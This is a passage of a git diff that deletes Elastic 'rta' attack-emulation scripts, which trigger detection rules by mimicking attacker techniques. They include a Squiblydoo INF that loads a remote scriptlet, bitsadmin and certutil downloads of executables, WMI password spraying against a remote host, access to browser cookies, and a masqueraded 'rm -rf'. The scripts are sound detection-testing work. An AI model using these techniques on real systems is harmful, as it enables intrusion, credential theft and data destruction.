a/rta/bin/renamed.exe b/rta/bin/renamed.exe deleted file mode 100644 index c8350334a..000000000 Binary files a/rta/bin/renamed.exe and /dev/null differ diff --git a/rta/bin/renamed_posh.exe b/rta/bin/renamed_posh.exe deleted file mode 100644 index 82395ec4d..000000000 Binary files a/rta/bin/renamed_posh.exe and /dev/null differ diff --git a/rta/bin/rta_unhook_ldrload.exe b/rta/bin/rta_unhook_ldrload.exe deleted file mode 100644 index df5392454..000000000 Binary files a/rta/bin/rta_unhook_ldrload.exe and /dev/null differ diff --git a/rta/bin/script_launch.inf b/rta/bin/script_launch.inf deleted file mode 100644 index 7a73ad5a2..000000000 --- a/rta/bin/script_launch.inf +++ /dev/null @@ -1,8 +0,0 @@ -[Version] -Signature=$CHICAGO$ - -[DefaultInstall] -UnregisterDlls = Squiblydoo - -[Squiblydoo] -11,,scrobj.dll,2,60,http://127.0.0.1:8000/bin/notepad.sct diff --git a/rta/bin/thread_injector_arm b/rta/bin/thread_injector_arm deleted file mode 100755 index 8b805ce37..000000000 Binary files a/rta/bin/thread_injector_arm and /dev/null differ diff --git a/rta/bin/thread_injector_intel b/rta/bin/thread_injector_intel deleted file mode 100755 index c1b3a5393..000000000 Binary files a/rta/bin/thread_injector_intel and /dev/null differ diff --git a/rta/bin/trustprovider_LICENSE b/rta/bin/trustprovider_LICENSE deleted file mode 100644 index 87b0bfe8a..000000000 --- a/rta/bin/trustprovider_LICENSE +++ /dev/null @@ -1,29 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2017, Matt Graeber -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/rta/bin/werfault_iso.iso b/rta/bin/werfault_iso.iso deleted file mode 100644 index 590409c95..000000000 Binary files a/rta/bin/werfault_iso.iso and /dev/null differ diff --git a/rta/binary_execution_from_shared_memory.py b/rta/binary_execution_from_shared_memory.py deleted file mode 100644 index 192468377..000000000 --- a/rta/binary_execution_from_shared_memory.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1b7fe2e7-29c0-4d10-9ced-8b9cd158835d", - platforms=["linux"], - endpoint=[ - { - "rule_id": "78ae5dbd-477b-4ce7-a7f7-8c4b5e228df2", - "rule_name": "Binary Executed from Shared Memory Directory", - }, - ], - siem=[ - { - "rule_id": "3f3f9fe2-d095-11ec-95dc-f661ea17fbce", - "rule_name": "Binary Executed from Shared Memory Directory", - }, - ], - techniques=["T1620"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/dev/shm/test" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Executing Fake binary from Shared Memory") - common.execute([masquerade, "test"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/binary_masquerade.py b/rta/binary_masquerade.py deleted file mode 100644 index 5366b3d84..000000000 --- a/rta/binary_masquerade.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import platform -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="62eb4521-cfb8-4fb8-bc6d-792fe57273b7", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Potential Binary Masquerading via Invalid Code Signature", - "rule_id": "4154c8ce-c718-4641-80db-a6a52276f1a4", - } - ], - siem=[], - techniques=["T1036"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - if platform.processor() == "arm": - name = "com.apple.sleep_arm" - else: - name = "com.apple.sleep_intel" - path = common.get_path("bin", name) - common.execute([path, "5"], kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/bitsadmin_download.py b/rta/bitsadmin_download.py deleted file mode 100644 index d7a2c44cd..000000000 --- a/rta/bitsadmin_download.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Suspicious BitsAdmin Download File -# RTA: bitsadmin_download.py -# ATT&CK: T1197 -# Description: Runs BitsAdmin to download file via command line. - - -import subprocess -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="aee48793-01ec-428f-9890-c5db9df07830", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}], - techniques=["T1566"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Running Windows BitsAdmin to Download") - server, ip, port = common.serve_web() - url = "http://" + ip + ":" + str(port) + "/bin/myapp.exe" - dest_path = Path("myapp-test.exe").resolve() - fake_word = Path("winword.exe").resolve() - - common.log("Emulating parent process: {parent}".format(parent=fake_word)) - common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word) - - command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download", url, dest_path]) - common.execute([fake_word, "/c", command], timeout=15, kill=True) - common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"]) - - common.remove_files(dest_path, fake_word) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/bitsadmin_execution.py b/rta/bitsadmin_execution.py deleted file mode 100644 index 6b8c4cecd..000000000 --- a/rta/bitsadmin_execution.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import subprocess -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e7a55d39-37b4-4f37-9519-3779b3c23bfa", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Bitsadmin Activity", "rule_id": "676ac66c-4899-498f-ae21-ed5620af5477"}, - {"rule_name": "Suspicious Microsoft Office Child Process", "rule_id": "c34a9dca-66cf-4283-944d-1800b28ae690"}, - ], - siem=[], - techniques=["T1197", "T1566"], -) - -ROOT_DIR = Path(__file__).parent -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - - fake_word = ROOT_DIR / "winword.exe" - common.log(f"Copying {EXE_FILE} to {fake_word}") - common.copy_file(EXE_FILE, fake_word) - - command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download"]) - common.execute([fake_word, "/c", command], timeout=15, kill=True) - common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"]) - - common.remove_files(fake_word) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/browser_cred_access.py b/rta/browser_cred_access.py deleted file mode 100644 index 9b788f5c6..000000000 --- a/rta/browser_cred_access.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="ea187b1f-4aa0-4ffc-bac9-9ee1d55552fd", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Suspicious Access to Stored Browser Credentials", - "rule_id": "cea870d6-e6ee-4435-bc80-2c80e834c5d1", - } - ], - siem=[{"rule_name": "Access of Stored Browser Credentials", "rule_id": "20457e4f-d1de-4b92-ae69-142e27a4342a"}], - techniques=["T1539", "T1555"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to aquire browser creds") - cookie_path = f"{Path.home()}/Library/Application Support/Google/Chrome/Default/Cookies" - common.execute([masquerade, cookie_path], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/browser_debugging.py b/rta/browser_debugging.py deleted file mode 100644 index be158193c..000000000 --- a/rta/browser_debugging.py +++ /dev/null @@ -1,65 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import platform -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="e061a96e-4c31-4f67-9745-6ff873f7829e", - platforms=["windows", "macos", "linux"], - endpoint=[ - { - "rule_name": "Potential Cookies Theft via Browser Debugging", - "rule_id": "5d7328aa-973b-41e7-a6b3-6f40ea3094f1", - }, - ], - siem=[ - { - "rule_name": "Potential Cookies Theft via Browser Debugging", - "rule_id": "027ff9ea-85e7-42e3-99d2-bbb7069e02eb", - }, - ], - techniques=["T1539"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main() -> None: - param1 = "--remote-debugging-port=9222" - param2 = "--user-data-dir=remote-profile" - if platform.system() == "Darwin": - name = "com.apple.ditto_and_spawn_arm" if platform.processor() == "arm" else "com.apple.ditto_and_spawn_intel" - - source = common.get_path("bin", name) - chrome = "/tmp/google-chrome" - common.copy_file(source, chrome) - - common.log("Starting browser on debug mode") - common.execute([chrome, param1, param2], timeout=10, kill=True) - - elif common.CURRENT_OS == "linux": - name = "linux.ditto_and_spawn" - source = common.get_path("bin", name) - chrome = "/tmp/google-chrome" - common.copy_file(source, chrome) - - common.log("Starting browser on debug mode") - common.execute([chrome, param1, param2], timeout=10, kill=True) - else: - chrome = "C:\\Users\\Public\\chrome.exe" - common.copy_file(EXE_FILE, chrome) - - # Execute command - common.log("Mimicking the start of a browser on debug mode") - common.execute([chrome, "/c", "echo", param1, param2], timeout=10) - common.remove_file(chrome) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/brute_force_login.py b/rta/brute_force_login.py deleted file mode 100644 index 4a9c12c04..000000000 --- a/rta/brute_force_login.py +++ /dev/null @@ -1,75 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Brute Force Login Attempts -# RTA: brute_force_login.py -# ATT&CK: T1110 -# Description: Simulates brute force or password spraying tactics. -# Remote audit failures must be enabled to trigger: `auditpol /set /subcategory:"Logon" /failure:enable` - -import random -import string -import sys -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="35bb73a9-cafa-4b2c-81f0-a97e2afa5e1c", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "e08ccd49-0380-4b2b-8d71-8000377d6e49", "rule_name": "Attempts to Brute Force an Okta User Account"} - ], - techniques=["T1110"], -) - - -@common.requires_os(*metadata.platforms) -def main(username="rta-tester", remote_host=None): - if not remote_host: - common.log("A remote host is required to detonate this RTA", "!") - return common.MISSING_REMOTE_HOST - - common.enable_logon_auditing(remote_host) - - common.log("Brute forcing login with invalid password against {}".format(remote_host)) - ps_command = """ - $PW = ConvertTo-SecureString "such-secure-passW0RD!" -AsPlainText -Force - $CREDS = New-Object System.Management.Automation.PsCredential {username}, $PW - Invoke-WmiMethod -ComputerName {host} -Class Win32_process -Name create -ArgumentList ipconfig -Credential $CREDS - """ - command = [ - "powershell", - "-c", - ps_command.format(username=username, host=remote_host), - ] - - # fail 4 times - the first 3 concurrently and wait for the final to complete - for i in range(4): - common.execute(command, wait=i == 3) - - time.sleep(1) - - common.log("Password spraying against {}".format(remote_host)) - - # fail 5 times - the first 4 concurrently and wait for the final to complete - for i in range(5): - random_user = "".join(random.sample(string.ascii_letters, 10)) - command = [ - "powershell", - "-c", - ps_command.format(username=random_user, host=remote_host), - ] - common.execute(command, wait=i == 4) - - # allow time for audit event to process - time.sleep(2) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/builtin_cmd_file_delete.py b/rta/builtin_cmd_file_delete.py deleted file mode 100644 index 1fadc3f4a..000000000 --- a/rta/builtin_cmd_file_delete.py +++ /dev/null @@ -1,61 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import os -import pathlib -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="c69a06f3-3873-4d5d-8584-035e0921b4a8", - platforms=["macos", "linux"], - endpoint=[ - { - "rule_id": "15019d7c-42e6-4cf7-88b0-0c3a6963e6f5", - "rule_name": "Suspicious Recursive File Deletion via Built-In Utilities", - }, - ], - siem=[], - techniques=["T1565", "T1485"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/xargs" - masquerade2 = "/tmp/rm" - # used only for linux at 2 places to enumerate xargs as parent process. - working_dir = "/tmp/fake_folder/xargs" - if common.CURRENT_OS == "linux": - # Using the Linux binary that simulates parent-> child process in Linux - source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") - common.copy_file(source, masquerade) - common.copy_file(source, masquerade2) - # As opposed to macos, where the masquerade is being projected as parent process, - # in linux the working directory is being projected as parent process. - # Hence, to simulate the parent process without many changes to execute logic - # a fake folder structure is created for execution. - # The execution working directory is changed to the fake folder, to simulate as xargs parent process in Linux. - pathlib.Path(working_dir).mkdir(parents=True, exist_ok=True) - os.chdir(working_dir) - else: - common.create_macos_masquerade(masquerade) - common.create_macos_masquerade(masquerade2) - - # Execute command - common.log("Launching fake builtin commands to recursively delete") - command = f"{masquerade2} -rf arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 /home/test" - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 - - # cleanup - common.remove_file(masquerade) - common.remove_file(masquerade2) - if common.CURRENT_OS == "linux": - common.remove_directory(working_dir) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/c2_dns_from_iso.py b/rta/c2_dns_from_iso.py deleted file mode 100644 index 859374202..000000000 --- a/rta/c2_dns_from_iso.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ba802fb2-f183-420e-947m-da5ce0235d123", - platforms=["windows"], - siem=[], - endpoint=[{"rule_id": "3bc98de7-3349-43ac-869c-58357ae2aac0", "rule_name": "Suspicious DNS Query from Mounted Virtual Disk"}, - {"rule_id": "88f6c3d4-112e-4fad-b3ef-33095c954b63", "rule_name": "Suspicious DNS Query to Free SSL Certificate Domains"}, - {"rule_id": "d37ffe39-8e58-460f-938d-3bafbae60711", "rule_name": "DNS Query to Suspicious Top Level Domain"}], - techniques=["T1071", "T1204", "T1071.004"], -) - -# iso contains ping.exe to test for rules looking for suspicious DNS queries from mounted ISO file -ISO = common.get_path("bin", "ping_dns_from_iso.iso") -PROC = 'ping.exe' - -# ps script to mount, execute a file and unmount ISO device -PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1") - -@common.requires_os(*metadata.platforms) - -def main(): - if Path(ISO).is_file() and Path(PS_SCRIPT).is_file(): - print(f'[+] - ISO File {ISO} will be mounted and executed via powershell') - - # 3 unique domains to trigger 3 unique rules looking for dns events via a process running from a mounted ISO file - for domain in ["Abc.xyz", "content.dropboxapi.com", "x1.c.lencr.org"] : - - # import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments - # command = "powershell.exe -ExecutionPol Bypass -c import-module " + psf + '; ExecFromISO -ISOFile ' + ISO + ' -procname '+ PROC + ' -cmdline ' + domain + ';' - command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {domain};" - common.execute(command) - - print(f'[+] - RTA Done!') - -if __name__ == "__main__": - exit(main()) diff --git a/rta/calendar_file_mod.py b/rta/calendar_file_mod.py deleted file mode 100644 index 1d9fab45f..000000000 --- a/rta/calendar_file_mod.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="44345dc0-883f-41b7-ad34-1d84cfd57129", - platforms=["macos"], - endpoint=[], - siem=[{"rule_name": "Suspicious Calendar File Modification", "rule_id": "cb71aa62-55c8-42f0-b0dd-afb0bb0b1f51"}], - techniques=["T1546"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - cal_dir = Path(f"{Path.home()}/Library/Calendars/") - cal_calendar = cal_dir.joinpath("test.calendar", "Events") - cal_calendar.mkdir(parents=True, exist_ok=True) - cal_path = str(cal_calendar.joinpath("test.ics")) - common.log(f"Executing file modification on {cal_path} to mimic suspicious calendar file modification") - common.temporary_file_helper("testing", file_name=cal_path) - - # cleanup - common.remove_directory(str(cal_calendar)) - common.remove_directory(str(cal_dir)) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/cat_network_activity.py b/rta/cat_network_activity.py deleted file mode 100644 index 1200ac86c..000000000 --- a/rta/cat_network_activity.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="fcd2d0fe-fed2-424a-bdc5-e9bef5031344", - platforms=["linux"], - endpoint=[{"rule_name": "Network Activity Detected via cat", "rule_id": "25ae94f5-0214-4bf1-b534-33d4ffc3d41c"}], - siem=[{"rule_name": "Network Activity Detected via cat", "rule_id": "afd04601-12fc-4149-9b78-9c3f8fe45d39"}], - techniques=[""], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - common.log("Creating a fake cat executable..") - masquerade = "/tmp/cat" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - common.log("Simulating cat network activity..") - common.execute([masquerade, "netcon", "-h", "8.8.8.8", "-p", "53"], timeout=10, kill=True, shell=True) # noqa: S604 - common.log("Cat network simulation successful!") - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("RTA completed!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/certutil_file_obfuscation.py b/rta/certutil_file_obfuscation.py deleted file mode 100644 index 0ee9e984a..000000000 --- a/rta/certutil_file_obfuscation.py +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Certutil Encode / Decode -# RTA: certutil_file_obfuscation.py -# ATT&CK: T1140 -# signal.rule.name: Encoding or Decoding Files via CertUtil -# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="7b2c1b3e-2097-4e2f-bf5c-e157a91b8001", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "fd70c98a-c410-42dc-a2e3-761c71848acf", "rule_name": "Suspicious CertUtil Commands"}], - techniques=["T1140"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Encoding target") - encoded_file = Path("encoded.txt").resolve() - decoded_file = Path("decoded.exe").resolve() - common.execute( - [ - "c:\\Windows\\System32\\certutil.exe", - "-encode", - "c:\\windows\\system32\\cmd.exe", - encoded_file, - ] - ) - - common.log("Decoding target") - common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file]) - - common.log("Cleaning up") - common.remove_file(encoded_file) - common.remove_file(decoded_file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/certutil_webrequest.py b/rta/certutil_webrequest.py deleted file mode 100644 index 014ac0c1f..000000000 --- a/rta/certutil_webrequest.py +++ /dev/null @@ -1,45 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Downloading Files With Certutil -# RTA: certutil_webrequest.py -# ATT&CK: T1105 -# Description: Uses certutil.exe to download a file. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="10609a63-0013-4fd0-9322-66c86c1c9501", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "3838e0e3-1850-4850-a411-2e8c5ba40ba8", "rule_name": "Network Connection via Certutil"}], - techniques=["T1105"], -) - - -MY_DLL = common.get_path("bin", "mydll.dll") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MY_DLL) -def main(): - # http server will terminate on main thread exit - # if daemon is True - server, ip, port = common.serve_web() - - uri = "bin/mydll.dll" - target_file = "mydll.dll" - common.clear_web_cache() - url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri) - common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file]) - - server.shutdown() - common.remove_file(target_file) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/child_w3wp.py b/rta/child_w3wp.py deleted file mode 100644 index 3a14b38df..000000000 --- a/rta/child_w3wp.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="be6619a2-324a-443b-9f23-2dc84733c847", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Suspicious Microsoft IIS Worker Descendant", - "rule_id": "89c9c5a0-a136-41e9-8cc8-f21ef5ad894b" - } - ], - siem=[ - { - "rule_id": "f81ee52c-297e-46d9-9205-07e66931df26", - "rule_name": "Microsoft Exchange Worker Spawning Suspicious Processes" - }, - { - "rule_name": "Web Shell Detection: Script Process Child of Common Web Processes", - "rule_id": "2917d495-59bd-4250-b395-c29409b76086" - }], - techniques=['T1190', 'T1059', 'T1059.001', 'T1059.003', 'T1505', 'T1505.003'], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - w3wp = "C:\\Users\\Public\\w3wp.exe" - common.copy_file(EXE_FILE, w3wp) - - common.execute([w3wp, "/c", "echo", "MSExchange1AppPool", "; cmd.exe"], timeout=10, kill=True) - common.remove_file(w3wp) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/cloud_eicar.py b/rta/cloud_eicar.py deleted file mode 100644 index c32e1ad26..000000000 --- a/rta/cloud_eicar.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="8d6f2979-747a-42d9-813a-ddadd90650d2", - platforms=["linux"], - endpoint=[ - { - "rule_id": "7b9ddfc8-8ea8-45d5-b62f-3fbd142c8f08", - "rule_name": "Behavior Protection - Cloud Reputation EICAR", - }, - ], - siem=[], - techniques=["TA0002"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/tmp/bash" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching Behavior Protection - Cloud Reputation EICAR") - common.execute([masquerade, "test-cloudreputationrule-5020a0031cad"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/clr_logs_creation.py b/rta/clr_logs_creation.py deleted file mode 100644 index a3affe36d..000000000 --- a/rta/clr_logs_creation.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="9bf3622b-dd76-4156-a89c-6845dca46b1f", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - { - "rule_name": "Managed .NET Code Execution via Windows Script Interpreter", - "rule_id": "5a898048-d98c-44c6-b7ba-f63a31eb3571", - }, - ], - siem=[], - techniques=["T1220", "T1218", "T1055", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msxsl = "C:\\Users\\Public\\msxsl.exe" - fake_clr_path = "C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs" - fake_clr_logs = fake_clr_path + "\\msxsl.exe.log" - common.copy_file(EXE_FILE, msxsl) - - Path(fake_clr_path).mkdir(parents=True, exist_ok=True) - common.log("Creating a fake clr log file") - common.execute([msxsl, "-c", f"echo RTA > {fake_clr_logs}"], timeout=10) - common.remove_files(msxsl, fake_clr_logs) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/cmd_shell_via_word.py b/rta/cmd_shell_via_word.py deleted file mode 100644 index daf68634e..000000000 --- a/rta/cmd_shell_via_word.py +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6c399694-d21c-4a19-9e58-8fa24eb399b9", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Windows Command Shell Spawned via Microsoft Office", - "rule_id": "2a396a3c-b343-42a9-b74b-c5b9925b6ee2", - } - ], - siem=[], - techniques=["T1566", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "winword.exe" - common.copy_file(EXE_FILE, binary) - - # Execute command - common.execute([binary, "/c", "cmd.exe /c 'echo comspec'"], timeout=5, kill=True) - - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/cmstp_image_load.py b/rta/cmstp_image_load.py deleted file mode 100644 index 509a7112e..000000000 --- a/rta/cmstp_image_load.py +++ /dev/null @@ -1,50 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="aa6bf766-db74-4db5-8eec-f91386b1285b", - platforms=["windows"], - endpoint=[ - {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, - {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, - {"rule_name": "Scriptlet Execution via CMSTP", "rule_id": "8adfa9ad-0ed2-4b1b-bdad-f2c52e1d2a00"}, - ], - siem=[], - techniques=["T1218", "T1036", "T1059"], -) - -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - cmstp = "C:\\Users\\Public\\cmstp.exe" - user32 = "C:\\Windows\\System32\\user32.dll" - dll = "C:\\Users\\Public\\scrobj.dll" - ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" - 